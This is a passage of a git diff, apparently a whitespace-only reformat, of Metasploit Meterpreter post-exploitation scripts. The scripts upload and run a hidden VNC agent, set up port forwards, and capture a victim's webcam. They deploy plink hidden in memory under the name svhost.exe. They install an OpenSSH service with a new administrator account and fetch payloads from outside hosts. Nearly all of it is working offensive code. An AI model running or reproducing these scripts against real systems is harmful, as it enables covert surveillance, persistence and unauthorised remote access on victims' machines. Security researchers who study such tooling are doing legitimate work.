Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" - tempexe.gsub!("\\\\", "\\") - - fd = client.fs.file.new(tempexe, "wb") - fd.write(exe) - fd.close - print_status("Uploaded the VNC agent to #{tempexe} (must be deleted manually)") - - # - # Execute the agent - # - print_status("Executing the VNC agent with endpoint #{rhost}:#{rport}...") - pid = session.sys.process.execute(tempexe, nil, {'Hidden' => true}) + exe = ::Msf::Util::EXE.to_win32pe(client.framework, raw) + print_status("VNC stager executable #{exe.length} bytes long") + + # + # Upload to the filesystem + # + tempdir = client.fs.file.expand_path("%TEMP%") + tempexe = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + tempexe.gsub!("\\\\", "\\") + + fd = client.fs.file.new(tempexe, "wb") + fd.write(exe) + fd.close + print_status("Uploaded the VNC agent to #{tempexe} (must be deleted manually)") + + # + # Execute the agent + # + print_status("Executing the VNC agent with endpoint #{rhost}:#{rport}...") + pid = session.sys.process.execute(tempexe, nil, {'Hidden' => true}) end if tunnel - # Set up a port forward for the multi/handler to use for uploading the stage - print_status("Starting the port forwarding from #{rport} => TARGET:#{rport}") - client.run_cmd("portfwd add -L 127.0.0.1 -l #{rport} -p #{rport} -r #{lhost}") + # Set up a port forward for the multi/handler to use for uploading the stage + print_status("Starting the port forwarding from #{rport} => TARGET:#{rport}") + client.run_cmd("portfwd add -L 127.0.0.1 -l #{rport} -p #{rport} -r #{lhost}") end diff --git a/scripts/meterpreter/webcam.rb b/scripts/meterpreter/webcam.rb index f6e65ba5d66e..0292faf39865 100644 --- a/scripts/meterpreter/webcam.rb +++ b/scripts/meterpreter/webcam.rb @@ -5,15 +5,15 @@ @client = client opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu" ], - "-f" => [ false, "Just grab single frame"], - "-l" => [ false, "Keep capturing in a loop (default)" ], - "-d" => [ true, "Loop delay interval (in ms, default 1000)" ], - "-i" => [ true, "The index of the webcam to use (Default: 1)" ], - "-q" => [ true, "The JPEG image quality (Default: 50)" ], - "-g" => [ false, "Send to GUI instead of writing to file" ], - "-s" => [ true, "Stop recording" ], - "-p" => [ true, "The path to the folder images will be saved in (Default: current working directory)"] + "-h" => [ false, "Help menu" ], + "-f" => [ false, "Just grab single frame"], + "-l" => [ false, "Keep capturing in a loop (default)" ], + "-d" => [ true, "Loop delay interval (in ms, default 1000)" ], + "-i" => [ true, "The index of the webcam to use (Default: 1)" ], + "-q" => [ true, "The JPEG image quality (Default: 50)" ], + "-g" => [ false, "Send to GUI instead of writing to file" ], + "-s" => [ true, "Stop recording" ], + "-p" => [ true, "The path to the folder images will be saved in (Default: current working directory)"] ) folderpath = "." @@ -23,99 +23,99 @@ interval = 1000 gui = false opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "webcam -- view webcam over session" - print_line(opts.usage) - raise Rex::Script::Completed - when "-f" - single = true - when "-l" - single = false - when "-d" - interval = val.to_i - when "-i" - index = val.to_i - when "-q" - quality = val.to_i - when "-g" - gui = true - when "-p" - folderpath = val - when "-s" - print_line("[*] Stopping webcam") - client.webcam.webcam_stop - raise Rex::Script::Completed - end + case opt + when "-h" + print_line "webcam -- view webcam over session" + print_line(opts.usage) + raise Rex::Script::Completed + when "-f" + single = true + when "-l" + single = false + when "-d" + interval = val.to_i + when "-i" + index = val.to_i + when "-q" + quality = val.to_i + when "-g" + gui = true + when "-p" + folderpath = val + when "-s" + print_line("[*] Stopping webcam") + client.webcam.webcam_stop + raise Rex::Script::Completed + end } if !(client.platform =~ /win32|win64/) - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end begin - camlist = client.webcam.webcam_list - if camlist.length == 0 - print_error("Error: no webcams found!") - raise Rex::Script::Completed - elsif camlist.length < index - print_error("Error: only #{camlist.length} webcams found!") - raise Rex::Script::Completed - end - print_line("[*] Starting webcam #{index}: #{camlist[index - 1]}") - client.webcam.webcam_start(index) + camlist = client.webcam.webcam_list + if camlist.length == 0 + print_error("Error: no webcams found!") + raise Rex::Script::Completed + elsif camlist.length < index + print_error("Error: only #{camlist.length} webcams found!") + raise Rex::Script::Completed + end + print_line("[*] Starting webcam #{index}: #{camlist[index - 1]}") + client.webcam.webcam_start(index) - #prepare output - if(gui) - sock = Rex::Socket::Udp.create( - 'PeerHost' => "127.0.0.1", - 'PeerPort' => 16235 - ) - end - imagepath = folderpath + ::File::SEPARATOR + "webcam.jpg" - htmlpath = folderpath + ::File::SEPARATOR + "webcam.htm" - begin - if single == true - data = client.webcam.webcam_get_frame(quality) - if(gui) - sock.write(data) - else - ::File.open( imagepath, 'wb' ) do |fd| - fd.write( data ) - end - path = ::File.expand_path( imagepath ) - print_line( "[*] Image saved to : #{path}" ) - Rex::Compat.open_file( path ) - end - else - if(!gui) - ::File.open(htmlpath, 'wb' ) do |fd| - fd.write('" ) - end - print_line( "[*] View live stream at: #{htmlpath}" ) - Rex::Compat.open_file(htmlpath) - print_line( "[*] Image saved to : #{imagepath}" ) - end - while true do - data = client.webcam.webcam_get_frame(quality) - if(gui) - sock.write(data) - else - ::File.open( imagepath, 'wb' ) do |fd| - fd.write( data ) - end - end - select(nil, nil, nil, interval/1000.0) - end - end - rescue ::Interrupt - rescue ::Exception => e - print_error("Error getting frame: #{e.class} #{e} #{e.backtrace}") - end - print_line("[*] Stopping webcam") - client.webcam.webcam_stop - sock.close if sock != nil + #prepare output + if(gui) + sock = Rex::Socket::Udp.create( + 'PeerHost' => "127.0.0.1", + 'PeerPort' => 16235 + ) + end + imagepath = folderpath + ::File::SEPARATOR + "webcam.jpg" + htmlpath = folderpath + ::File::SEPARATOR + "webcam.htm" + begin + if single == true + data = client.webcam.webcam_get_frame(quality) + if(gui) + sock.write(data) + else + ::File.open( imagepath, 'wb' ) do |fd| + fd.write( data ) + end + path = ::File.expand_path( imagepath ) + print_line( "[*] Image saved to : #{path}" ) + Rex::Compat.open_file( path ) + end + else + if(!gui) + ::File.open(htmlpath, 'wb' ) do |fd| + fd.write('" ) + end + print_line( "[*] View live stream at: #{htmlpath}" ) + Rex::Compat.open_file(htmlpath) + print_line( "[*] Image saved to : #{imagepath}" ) + end + while true do + data = client.webcam.webcam_get_frame(quality) + if(gui) + sock.write(data) + else + ::File.open( imagepath, 'wb' ) do |fd| + fd.write( data ) + end + end + select(nil, nil, nil, interval/1000.0) + end + end + rescue ::Interrupt + rescue ::Exception => e + print_error("Error getting frame: #{e.class} #{e} #{e.backtrace}") + end + print_line("[*] Stopping webcam") + client.webcam.webcam_stop + sock.close if sock != nil rescue ::Exception => e - print_error("Error: #{e.class} #{e} #{e.backtrace}") + print_error("Error: #{e.class} #{e} #{e.backtrace}") end diff --git a/scripts/meterpreter/win32-sshclient.rb b/scripts/meterpreter/win32-sshclient.rb index f8c97c6bd350..94bd070f03f9 100644 --- a/scripts/meterpreter/win32-sshclient.rb +++ b/scripts/meterpreter/win32-sshclient.rb @@ -14,49 +14,49 @@ # @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-f" => [ true, "Do not download plink.exe but use given file."], - "-U" => [ true, "Download from given URL instead of default one (http://the.earth.li/~sgtatham/putty)"], - "-H" => [ true, "The IP/hostname of the SSH-server to connect to !REQUIRED!"], - "-p" => [ true, "The port of the remote SSH-server (Default:22)"], - "-u" => [ true, "The username to use to login to the SSH-server !REQUIRED!"], - "-P" => [ true, "login with specified password"], - "-b" => [ false, "disable all interactive prompts"], - "-R" => [ true, "Forward remote port to local address ([listen-IP:]listen-port:host:port)"], - "-L" => [ true, "Forward local port to remote address ([listen-IP:]listen-port:host:port)"], - "-D" => [ true, "Dynamic SOCKS-based port forwarding ([listen-IP:]listen-port)"], - "-C" => [ false, "enable compression"], - "-X" => [ false, "enable X11 forwarding"], - "-x" => [ false, "disable X11 forwarding"], - "-A" => [ false, "enable agent forwarding"], - "-a" => [ false, "disable agent forwarding"], - "-1" => [ false, "use SSH-protocol-version 1"], - "-2" => [ false, "use SSH-protocol-version 2"], - "-4" => [ false, "use IPv4"], - "-6" => [ false, "use IPv6"], - "-i" => [ true, "private key-file for authentication"], - "-m" => [ true, "read remote command from file"], - "-s" => [ false, "remote command is an ssh-subsystem(SSH2 only)"], - "-N" => [ false, "Don`t start a shell/command (SSH2 only)"], - "-n" => [ true, "open tunnel in place of session (SSH-2 only) (host:port)"], - "-r" => [ true, "Set SSH-Server`s Hostkey as known Host in Windows-registry before starting the client"], - "-F" => [ false, "Disable ram-mode, upload plink and run from disk. Attention : no auto-cleanup when using -N AND -F !"], - "-E" => [ true, "Start process from memory as given (Target Machine`s!) Application (.exe) (Default: C:\\windows\\system32)"], - "-v" => [ false, "Give additional (debugging-)output"] + "-h" => [ false, "This help menu"], + "-f" => [ true, "Do not download plink.exe but use given file."], + "-U" => [ true, "Download from given URL instead of default one (http://the.earth.li/~sgtatham/putty)"], + "-H" => [ true, "The IP/hostname of the SSH-server to connect to !REQUIRED!"], + "-p" => [ true, "The port of the remote SSH-server (Default:22)"], + "-u" => [ true, "The username to use to login to the SSH-server !REQUIRED!"], + "-P" => [ true, "login with specified password"], + "-b" => [ false, "disable all interactive prompts"], + "-R" => [ true, "Forward remote port to local address ([listen-IP:]listen-port:host:port)"], + "-L" => [ true, "Forward local port to remote address ([listen-IP:]listen-port:host:port)"], + "-D" => [ true, "Dynamic SOCKS-based port forwarding ([listen-IP:]listen-port)"], + "-C" => [ false, "enable compression"], + "-X" => [ false, "enable X11 forwarding"], + "-x" => [ false, "disable X11 forwarding"], + "-A" => [ false, "enable agent forwarding"], + "-a" => [ false, "disable agent forwarding"], + "-1" => [ false, "use SSH-protocol-version 1"], + "-2" => [ false, "use SSH-protocol-version 2"], + "-4" => [ false, "use IPv4"], + "-6" => [ false, "use IPv6"], + "-i" => [ true, "private key-file for authentication"], + "-m" => [ true, "read remote command from file"], + "-s" => [ false, "remote command is an ssh-subsystem(SSH2 only)"], + "-N" => [ false, "Don`t start a shell/command (SSH2 only)"], + "-n" => [ true, "open tunnel in place of session (SSH-2 only) (host:port)"], + "-r" => [ true, "Set SSH-Server`s Hostkey as known Host in Windows-registry before starting the client"], + "-F" => [ false, "Disable ram-mode, upload plink and run from disk. Attention : no auto-cleanup when using -N AND -F !"], + "-E" => [ true, "Start process from memory as given (Target Machine`s!) Application (.exe) (Default: C:\\windows\\system32)"], + "-v" => [ false, "Give additional (debugging-)output"] ) def usage - print_line("plink ssh-client deploy+run script") - print_line("This script will upload and run a plink ssh-cient") - print_line(@@exec_opts.usage) - raise Rex::Script::Completed + print_line("plink ssh-client deploy+run script") + print_line("This script will upload and run a plink ssh-cient") + print_line(@@exec_opts.usage) + raise Rex::Script::Completed end # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("#{meter} version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end # # Default parameters @@ -83,28 +83,28 @@ def wrong_meter_version(meter = meter_type) # def upload(client,file,trgloc = nil) - if not ::File.exists?(file) - raise "File to Upload does not exists!" - else - if trgloc == nil - location = client.fs.file.expand_path("%TEMP%") - else - location = trgloc - end - begin - if file =~ /S*(.exe)/i - fileontrgt = "#{location}\\svhost#{rand(100)}.exe" - else - fileontrgt = "#{location}\\TMP#{rand(100)}" - end - print_status("Uploading #{file}....") - client.fs.file.upload_file(fileontrgt, file) - print_status("#{file} successfully uploaded to #{fileontrgt}!") - rescue ::Exception => e - print_status("Error uploading file #{file}: #{e.class} #{e}") - end - end - return fileontrgt + if not ::File.exists?(file) + raise "File to Upload does not exists!" + else + if trgloc == nil + location = client.fs.file.expand_path("%TEMP%") + else + location = trgloc + end + begin + if file =~ /S*(.exe)/i + fileontrgt = "#{location}\\svhost#{rand(100)}.exe" + else + fileontrgt = "#{location}\\TMP#{rand(100)}" + end + print_status("Uploading #{file}....") + client.fs.file.upload_file(fileontrgt, file) + print_status("#{file} successfully uploaded to #{fileontrgt}!") + rescue ::Exception => e + print_status("Error uploading file #{file}: #{e.class} #{e}") + end + end + return fileontrgt end @@ -141,162 +141,162 @@ def upload(client,file,trgloc = nil) downloaded = nil @@exec_opts.parse(args) { |opt, idx, val| - case opt - when "-h" - usage - when "-H" - if !val - print_error("-H requires an argument !") - usage - end - rhost = val - - when "-f" - if !val - print_error("-f requires an argument !") - usage - end - plink = val - if not ::File.exists?(plink) - print_error("Plink.exe not found/accessible!") - usage - end - manual = true - - when "-r" - if !val - print_error("-r requires an argument !") - usage - end - hostkey = val - - when "-p" - rport = val.to_i - - when "-U" - if !val - print_error("-u requires an argument !") - usage - end - plinkurl = val - - when "-u" - if !val - print_error("-u requires an argument !") - usage - end - username = val - - when "-P" - if !val - print_error("-P requires an argument !") - usage - end - password = val - - when "-b" - batchmode = true - - when "-R" - if !val - print_error("-R requires an argument !") - usage - end - remotefwd = val - - when "-L" - if !val - print_error("-L requires an argument !") - usage - end - localfwd = val - - when "-D" - if !val - print_error("-D requires an argument !") - usage - end - socksfwd = val - - when "-C" - enablecompression = true - - when "-X" - enablex11fwd = true - - when "-x" - disablex11fwd = true - - when "-A" - enableagentfwd = true - - when "-a" - disableagentfwd = true - - when "-1" - sshv1 = true - - when "-2" - sshv2 = true - - when "-4" - ipv4 = true - - when "-6" - ipv6 = true - - when "-i" - if !val - print_error("-i requires an argument !") - usage - end - keyfile = val - if not ::File.exists?(keyfile) - print_error("keyfile not found or not accessible!") - usage - end - - when "-m" - if !val - print_error("-m requires an argument !") - usage - end - cmdfile = val - if not ::File.exists?(cmdfile) - print_error("cmd-file not found/accessible!") - usage - end - - when "-s" - sshsubsys = true - - when "-N" - noshell = true - - when "-n" - if !val - print_error("-n requires an argument !") - usage - end - nctunnel = val - - when "-E" - if !val - print_error("-E requires an argument !") - usage - end - processname = val - - when "-v" - verbose = true - - when "-F" - filemode = true - - else - print_error("Unknown option: #{opt}") - usage - end + case opt + when "-h" + usage + when "-H" + if !val + print_error("-H requires an argument !") + usage + end + rhost = val + + when "-f" + if !val + print_error("-f requires an argument !") + usage + end + plink = val + if not ::File.exists?(plink) + print_error("Plink.exe not found/accessible!") + usage + end + manual = true + + when "-r" + if !val + print_error("-r requires an argument !") + usage + end + hostkey = val + + when "-p" + rport = val.to_i + + when "-U" + if !val + print_error("-u requires an argument !") + usage + end + plinkurl = val + + when "-u" + if !val + print_error("-u requires an argument !") + usage + end + username = val + + when "-P" + if !val + print_error("-P requires an argument !") + usage + end + password = val + + when "-b" + batchmode = true + + when "-R" + if !val + print_error("-R requires an argument !") + usage + end + remotefwd = val + + when "-L" + if !val + print_error("-L requires an argument !") + usage + end + localfwd = val + + when "-D" + if !val + print_error("-D requires an argument !") + usage + end + socksfwd = val + + when "-C" + enablecompression = true + + when "-X" + enablex11fwd = true + + when "-x" + disablex11fwd = true + + when "-A" + enableagentfwd = true + + when "-a" + disableagentfwd = true + + when "-1" + sshv1 = true + + when "-2" + sshv2 = true + + when "-4" + ipv4 = true + + when "-6" + ipv6 = true + + when "-i" + if !val + print_error("-i requires an argument !") + usage + end + keyfile = val + if not ::File.exists?(keyfile) + print_error("keyfile not found or not accessible!") + usage + end + + when "-m" + if !val + print_error("-m requires an argument !") + usage + end + cmdfile = val + if not ::File.exists?(cmdfile) + print_error("cmd-file not found/accessible!") + usage + end + + when "-s" + sshsubsys = true + + when "-N" + noshell = true + + when "-n" + if !val + print_error("-n requires an argument !") + usage + end + nctunnel = val + + when "-E" + if !val + print_error("-E requires an argument !") + usage + end + processname = val + + when "-v" + verbose = true + + when "-F" + filemode = true + + else + print_error("Unknown option: #{opt}") + usage + end } # Check for Version of Meterpreter @@ -304,8 +304,8 @@ def upload(client,file,trgloc = nil) if not rhost or not username - print_status("You must specify a hostname (-H) and username (-u)") - raise Rex::Script::Completed + print_status("You must specify a hostname (-H) and username (-u)") + raise Rex::Script::Completed end # @@ -313,14 +313,14 @@ def upload(client,file,trgloc = nil) # Ask user before downloading # if not manual - if not ::File.exists?(plink) - print_status("plink.exe could not be found. Downloading it now...") - print_status(license) - plinkexe = Net::HTTP.get URI.parse(plinkurl) - File.open(plink, "wb") { |fd| fd.write(plinkexe) } - print_status("plink.exe has been downloaded to #{plink} (local machine). Please remove manually after use or keep for reuse.") - downloaded = true - end + if not ::File.exists?(plink) + print_status("plink.exe could not be found. Downloading it now...") + print_status(license) + plinkexe = Net::HTTP.get URI.parse(plinkurl) + File.open(plink, "wb") { |fd| fd.write(plinkexe) } + print_status("plink.exe has been downloaded to #{plink} (local machine). Please remove manually after use or keep for reuse.") + downloaded = true + end end # @@ -331,10 +331,10 @@ def upload(client,file,trgloc = nil) trg_filename = nil if filemode - print_status("-------Uploading plink -------") - trg_filename = upload(client, plink) + print_status("-------Uploading plink -------") + trg_filename = upload(client, plink) else - trg_filename = plink + trg_filename = plink end # @@ -371,18 +371,18 @@ def upload(client,file,trgloc = nil) # hostkeyname = nil if not hostkey == nil - hostkeyname = "rsa2@#{rport}:#{rhost}" - print_status("Writing the Hostkey to the registry...") - client.run_cmd("reg setval -k HKEY_CURRENT_USER\\\\Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys -v #{hostkeyname} -d #{hostkey}") + hostkeyname = "rsa2@#{rport}:#{rhost}" + print_status("Writing the Hostkey to the registry...") + client.run_cmd("reg setval -k HKEY_CURRENT_USER\\\\Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys -v #{hostkeyname} -d #{hostkey}") end # # Give additional output when -v is set # if verbose - print_status("You set the following parameters for plink :") - print_status(params) - print_status(processname) + print_status("You set the following parameters for plink :") + print_status(params) + print_status(processname) end # @@ -393,56 +393,56 @@ def upload(client,file,trgloc = nil) p = nil if not filemode - p = client.sys.process.execute(trg_filename, params, {'Hidden' => true, 'Channelized' => true, 'InMemory' => processname}) + p = client.sys.process.execute(trg_filename, params, {'Hidden' => true, 'Channelized' => true, 'InMemory' => processname}) else - p = client.sys.process.execute(trg_filename, params, {'Hidden' => true, 'Channelized' => true}) + p = client.sys.process.execute(trg_filename, params, {'Hidden' => true, 'Channelized' => true}) end if noshell == nil - client.console.run_single("interact #{p.channel.cid}") + client.console.run_single("interact #{p.channel.cid}") end if filemode - if not noshell == true - if verbose - print_status("Waiting 3 seconds to be sure the process was closed.") - end - sleep(3) - if verbose - print_status("Deleting the uploaded plink.exe...") - end - client.fs.file.rm(trg_filename) - else - print_status("Cannot automatically delete the uploaded #{trg_filename} ! Please delete it manually after stopping the process!") - end + if not noshell == true + if verbose + print_status("Waiting 3 seconds to be sure the process was closed.") + end + sleep(3) + if verbose + print_status("Deleting the uploaded plink.exe...") + end + client.fs.file.rm(trg_filename) + else + print_status("Cannot automatically delete the uploaded #{trg_filename} ! Please delete it manually after stopping the process!") + end end if not keyfile == nil - if verbose - print_status("Waiting 1 second to be sure the keyfile is not in use anymore.") - end - sleep(1) - if verbose - print_status("Deleting the keyfile !") - end - if verbose - print_status(keyfile) - end - client.fs.file.rm(keyfile) + if verbose + print_status("Waiting 1 second to be sure the keyfile is not in use anymore.") + end + sleep(1) + if verbose + print_status("Deleting the keyfile !") + end + if verbose + print_status(keyfile) + end + client.fs.file.rm(keyfile) end if not cmdfile == nil - print_status("You need to manually delete the uploaded #{cmdfile} !") + print_status("You need to manually delete the uploaded #{cmdfile} !") end # # Delete the registry-key that may have been created # if not hostkey == nil - if verbose - print_status("Deleting the registry-key set by the script.") - end - client.run_cmd("reg deleteval -k HKEY_CURRENT_USER\\\\Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys -v #{hostkeyname}") + if verbose + print_status("Deleting the registry-key set by the script.") + end + client.run_cmd("reg deleteval -k HKEY_CURRENT_USER\\\\Software\\\\SimonTatham\\\\PuTTY\\\\SshHostKeys -v #{hostkeyname}") end raise Rex::Script::Completed diff --git a/scripts/meterpreter/win32-sshserver.rb b/scripts/meterpreter/win32-sshserver.rb index 56232b6227a9..e909ef6eeadb 100644 --- a/scripts/meterpreter/win32-sshserver.rb +++ b/scripts/meterpreter/win32-sshserver.rb @@ -13,56 +13,56 @@ # @@exec_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "This help menu"], - "-f" => [ true, "The filename of the OpenSSH-SFX to deploy. (Default is to auto-download from meterpreter.illegalguy.hostzi.com"], - "-U" => [ true, "Download OpenSSH-SFX from given URL"], - "-u" => [ true, "Add windows-user (autoadded to local administrators"], - "-p" => [ true, "Password for the new user"], - "-r" => [ false, "Uninstall OpenSSH + delete added user (ATTENTION: will only uninstall OpenSSH-installations that were deployed by this script!!)"], - "-I" => [ true, "Install OpenSSH to the given directory"], - "-F" => [ false, "Force overwriting of registry-values"], - "-S" => [ true, "Set custom service description"], - "-N" => [ true, "Set custom service name"], - "-m" => [ true, "Do not start the OpenSSH-service after installation"], - "-t" => [ true, "Set start-type of the service to manual (Default: auto)"] - ) + "-h" => [ false, "This help menu"], + "-f" => [ true, "The filename of the OpenSSH-SFX to deploy. (Default is to auto-download from meterpreter.illegalguy.hostzi.com"], + "-U" => [ true, "Download OpenSSH-SFX from given URL"], + "-u" => [ true, "Add windows-user (autoadded to local administrators"], + "-p" => [ true, "Password for the new user"], + "-r" => [ false, "Uninstall OpenSSH + delete added user (ATTENTION: will only uninstall OpenSSH-installations that were deployed by this script!!)"], + "-I" => [ true, "Install OpenSSH to the given directory"], + "-F" => [ false, "Force overwriting of registry-values"], + "-S" => [ true, "Set custom service description"], + "-N" => [ true, "Set custom service name"], + "-m" => [ true, "Do not start the OpenSSH-service after installation"], + "-t" => [ true, "Set start-type of the service to manual (Default: auto)"] + ) def usage - print_line("OpenSSH-server deploy+run script") - print_line("This script will deploy OpenSSH + run the SSH-server as a service") - print_line(@@exec_opts.usage) - raise Rex::Script::Completed + print_line("OpenSSH-server deploy+run script") + print_line("This script will deploy OpenSSH + run the SSH-server as a service") + print_line(@@exec_opts.usage) + raise Rex::Script::Completed end def createkey(key) - root_key, base_key = client.sys.registry.splitkey(key) - open_key = client.sys.registry.create_key(root_key, base_key) + root_key, base_key = client.sys.registry.splitkey(key) + open_key = client.sys.registry.create_key(root_key, base_key) end def deletekey(key) - root_key, base_key = client.sys.registry.splitkey(key) - rtrncode = client.sys.registry.delete_key(root_key, base_key) - return rtrncode + root_key, base_key = client.sys.registry.splitkey(key) + rtrncode = client.sys.registry.delete_key(root_key, base_key) + return rtrncode end def setval(key, value, data, type = "REG_SZ") - root_key, base_key = client.sys.registry.splitkey(key) - open_key = client.sys.registry.create_key(root_key, base_key, KEY_WRITE) - open_key.set_value(value, client.sys.registry.type2str(type), data) + root_key, base_key = client.sys.registry.splitkey(key) + open_key = client.sys.registry.create_key(root_key, base_key, KEY_WRITE) + open_key.set_value(value, client.sys.registry.type2str(type), data) end def queryval(key, value) - root_key, base_key = client.sys.registry.splitkey(key) - hkey = client.sys.registry.open_key(root_key, base_key) - valdata = hkey.query_value(value) - return valdata.data + root_key, base_key = client.sys.registry.splitkey(key) + hkey = client.sys.registry.open_key(root_key, base_key) + valdata = hkey.query_value(value) + return valdata.data end # Wrong Meterpreter Version Message Function #------------------------------------------------------------------------------- def wrong_meter_version(meter = meter_type) - print_error("#{meter} version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("#{meter} version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end # @@ -90,85 +90,85 @@ def wrong_meter_version(meter = meter_type) # Option parsing # @@exec_opts.parse(args) { |opt, idx, val| - case opt - - when "-h" - usage - - when "-f" - if !val - print_error("-f requires the SFX-filename as argument !") - usage - end - extractfilename = val - if not ::File.exists?(extractfilename) - print_error("OpenSSH-SFX not found/accessible!") - usage - end - manual = true - - when "-U" - if !val - print_error("-U requires the download-URL for the OpenSSH-SFX as argument !") - usage - end - downloadurl = val - - when "-p" - if !val - print_error("-p requires the password (for the windows-user to add) as argument !") - usage - end - if val.length > 14 - print_error("Password must not be longer than 14chars due to \"net user .. /ADD\" restrictions, sorry !") - usage - end - password = val - - when "-u" - if !val - print_error("-u requires the username (for the windows-user to add) as argument!") - usage - end - username = val - - when "-r" - uninstall = true - - when "-I" - if !val - print_error("-I requires a directory-name to use as installpath") - usage - end - dirname = val - - when "-F" - forced = true - - when "-S" - if !val - print_error("-S requires s custom string to use as the service-description") - usage - end - servicedesc = val - - when "-N" - if !val - print_error("-N requires a custom string to use as service-name") - usage - end - servicename = val - - when "-m" - noauto = true - - when "-t" - type = manual - - else - print_error("Unknown option: #{opt}") - usage - end + case opt + + when "-h" + usage + + when "-f" + if !val + print_error("-f requires the SFX-filename as argument !") + usage + end + extractfilename = val + if not ::File.exists?(extractfilename) + print_error("OpenSSH-SFX not found/accessible!") + usage + end + manual = true + + when "-U" + if !val + print_error("-U requires the download-URL for the OpenSSH-SFX as argument !") + usage + end + downloadurl = val + + when "-p" + if !val + print_error("-p requires the password (for the windows-user to add) as argument !") + usage + end + if val.length > 14 + print_error("Password must not be longer than 14chars due to \"net user .. /ADD\" restrictions, sorry !") + usage + end + password = val + + when "-u" + if !val + print_error("-u requires the username (for the windows-user to add) as argument!") + usage + end + username = val + + when "-r" + uninstall = true + + when "-I" + if !val + print_error("-I requires a directory-name to use as installpath") + usage + end + dirname = val + + when "-F" + forced = true + + when "-S" + if !val + print_error("-S requires s custom string to use as the service-description") + usage + end + servicedesc = val + + when "-N" + if !val + print_error("-N requires a custom string to use as service-name") + usage + end + servicename = val + + when "-m" + noauto = true + + when "-t" + type = manual + + else + print_error("Unknown option: #{opt}") + usage + end } # Check for Version of Meterpreter @@ -178,45 +178,45 @@ def wrong_meter_version(meter = meter_type) # Uninstall if selected # if uninstall - username = nil - servicename = nil - begin - dirname = queryval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/", "native") - rescue - print_status("Could not find any sshd installed by this script. Please remove manually!") - deletekey("HKLM\\Software\\Cygnus\ Solutions") - raise Rex::Script::Completed - end - uninstallfile = "#{dirname}\\etc\\uninst.bak" - uf = client.fs.file.new(uninstallfile, "rb") - while not uf.eof? - linesarray = uf.read.split("\r\n") - username = linesarray[0] - servicename = linesarray[1] - end - uf.close - # stop sshd-service, delete it, delete user + files afterwards - print_status("Stopping the #{servicename}-service....") - client.sys.process.execute("cmd.exe", "/c sc stop #{servicename}") - sleep 2 - print_status("#{servicename} has been stopped.") - print_status("Deleting the #{servicename}-service....") - client.sys.process.execute("cmd.exe", "/c sc delete #{servicename}") - sleep 1 - print_status("#{servicename} has been deleted.") - unless username.strip == "none" - print_status("Deleting user #{username}......") - client.sys.process.execute("cmd.exe", "/c net user #{username} /DELETE") - print_status("User #{username} has been deleted") - end - print_status("Deleting the directory #{dirname}....") - client.sys.process.execute("cmd.exe", "/c rmdir /S /Q #{dirname}") - print_status("#{dirname} has been deleted.") - print_status("Deleting regkeys ....") - deletekey("HKLM\\Software\\Cygnus\ Solutions") - print_status("Registry-keys have been deleted .") - print_status("Uninstall completed!") - raise Rex::Script::Completed + username = nil + servicename = nil + begin + dirname = queryval("HKLM\\Software\\Cygnus\ Solutions\\Cygwin\\mounts\ v2\\/", "native") + rescue + print_status("Could not find any sshd installed by this script. Please remove manually!") + deletekey("HKLM\\Software\\Cygnus\ Solutions") + raise Rex::Script::Completed + end + uninstallfile = "#{dirname}\\etc\\uninst.bak" + uf = client.fs.file.new(uninstallfile, "rb") + while not uf.eof? + linesarray = uf.read.split("\r\n") + username = linesarray[0] + servicename = linesarray[1] + end + uf.close + # stop sshd-service, delete it, delete user + files afterwards + print_status("Stopping the #{servicename}-service....") + client.sys.process.execute("cmd.exe", "/c sc stop #{servicename}") + sleep 2 + print_status("#{servicename} has been stopped.") + print_status("Deleting the #{servicename}-service....") + client.sys.process.execute("cmd.exe", "/c sc delete #{servicename}") + sleep 1 + print_status("#{servicename} has been deleted.") + unless username.strip == "none" + print_status("Deleting user #{username}......") + client.sys.process.execute("cmd.exe", "/c net user #{username} /DELETE") + print_status("User #{username} has been deleted") + end + print_status("Deleting the directory #{dirname}....") + client.sys.process.execute("cmd.exe", "/c rmdir /S /Q #{dirname}") + print_status("#{dirname} has been deleted.") + print_status("Deleting regkeys ....") + deletekey("HKLM\\Software\\Cygnus\ Solutions") + print_status("Registry-keys have been deleted .") + print_status("Uninstall completed!") + raise Rex::Script::Completed end # @@ -226,10 +226,10 @@ def wrong_meter_version(meter = meter_type) open_key = client.sys.registry.open_key(root_key, base_key) keys = open_key.enum_key if ( keys.length > 0) - if not forced - print_error(warning) - raise Rex::Script::Completed - end + if not forced + print_error(warning) + raise Rex::Script::Completed + end end # @@ -237,28 +237,28 @@ def wrong_meter_version(meter = meter_type) # if manual == false - if not ::File.exists?(extractfilename) - print_status("openssh-extract.sfx could not be found. Downloading it now...") - print_status(license) - extractexe = Net::HTTP.get URI.parse(downloadurl) - open(extractfilename, "wb") { |fd| fd.write(extractexe) } - print_status("openssh-extract.sfx has been downloaded to #{extractfilename} (local machine). Please remove manually after use or keep for reuse.") - downloaded = true - end + if not ::File.exists?(extractfilename) + print_status("openssh-extract.sfx could not be found. Downloading it now...") + print_status(license) + extractexe = Net::HTTP.get URI.parse(downloadurl) + open(extractfilename, "wb") { |fd| fd.write(extractexe) } + print_status("openssh-extract.sfx has been downloaded to #{extractfilename} (local machine). Please remove manually after use or keep for reuse.") + downloaded = true + end end # # Generate sshd-dir + upload file to client # if dirname == nil - dirname = client.fs.file.expand_path("%TEMP%") + '\\' + "#{rand(36 ** 8).to_s(36).rjust(8,"0")}" - print_status("Creating directory #{dirname}.....") - client.fs.dir.mkdir(dirname) + dirname = client.fs.file.expand_path("%TEMP%") + '\\' + "#{rand(36 